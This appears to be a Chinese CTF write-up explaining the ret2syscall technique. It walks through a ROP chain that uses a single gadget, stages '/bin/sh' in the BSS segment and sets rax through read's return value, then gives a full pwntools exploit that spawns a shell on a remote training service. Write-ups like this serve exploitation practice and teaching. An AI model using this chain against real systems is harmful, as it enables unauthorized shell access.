ret2syscall

Posted by l0tus on 2022-09-22
Estimated Reading Time 3 Minutes
Words 872 In Total
Viewed Times

先把白夜学长这篇文章放这,关于ret2syscall的深入浅出,一看就能学会!
下载题目附件后拖入ida,看到vuln函数如下:

思路:

这次不用libc而是使用系统调用(syscall),那么我们就要自己构造系统调用链
其原理就是在Linux的glibc中,大部分系统调用已经被封装成普通的函数,如 read , write , open , execve等,同时也将 syscall 指令进行了封装,以64位Linux的glibc位例,read(0, buf, 0x10) 函数也可以是 syscall(0, 0, buf, 0x10)
read函数的调用号是0,所以这里第一个参数是0,那么我们根据64位的调用表得知execve函数的调用号为0x3b,那么我们这里syscall的调用号参数就要控制为0x3b,这个参数存在寄存器rax中,我们要控制的就是rax的值为0x3b
还是跟以前的ret类题目一样构造ROP链,要对目标文件找到几个/一个片段(gadget)其包括我们所需要的接收pop 寄存器以及syscall的调用

ROPgadget

找到这样一个片段,应该是白夜学长~~(偷懒)~~为了我做题方便直接把这些放一块了,我哭死

需要构造的链

我们需要构造如下一个链:

1
2
3
4
5
6
'a'*n                     #垃圾数据
pop rdx;rsi;rdi;syscall #返回地址
0 #rdx
0 #rsi
/bin/sh_addr #/bin/sh的地址
ret_addr

需要解决的

目前最大的问题是两个,首先程序本身没有"/bin/sh"这个字符串,不能直接获得这样一个字符串的地址,找不到那么我们怎么办呢?当然是自己写啦!!
没错,仔细观察伪代码可以发现程序第二次输入的str位于BSS段:

那么我们是不是可以将第一次的/bin/sh地址指向bss段的开头,并在第二次输入时在该段输入"/bin/sh"并且在填充"\x00"使读取完/bin/sh就结束读取,这样/bin/sh的问题就解决了
还有一个问题是系统调用号的处理,我们需要控制rax,但怎么控制rax的值呢?
这里就有一个小技巧:read 和 write 函数返回值为输入或者输出的字符串的长度,而返回值存在 ax 寄存器中。可以利用这两个函数来控制系统调用需要的 rax 的值。通过gdb调试我们可以发现,第二次read函数接收的字符串长度会影响ax,而rax初始为0,我们ax有多大,rax就有多大,关于ax与rax的关系有一张图很直观地解释了

他们本身是同一个寄存器的不同部分,很好理解。这样一来我们只要控制第二次输入的长度就可以控制rax,怎么控制呢?当然是在/bin/sh后面填充33个"\x00"啦!,看似不起眼的第二步居然有如此关键的双重作用,不错不错!

exp

根据以上思路,有了以下exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
p=remote("1-vidar-train-docker.xn--sxa.cc","49815")
#p=process("./vuln")

addr=0x401197 #pop rdx ; pop rsi ; pop rdi ; syscall
ret_addr=0x40101a
str_addr=0x404080
payload = b'a'*0x28
payload += p64(addr)
payload += p64(0)
payload += p64(0)
payload += p64(str_addr)#/bin/sh
payload += p64(ret_addr)

p.sendlineafter("Now can you share me something interesting?",payload)
payload2 = b"/bin/sh"
payload2 += b'\x00'*0x33
p.sendlineafter("Anything else?",payload2)

p.interactive()

如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !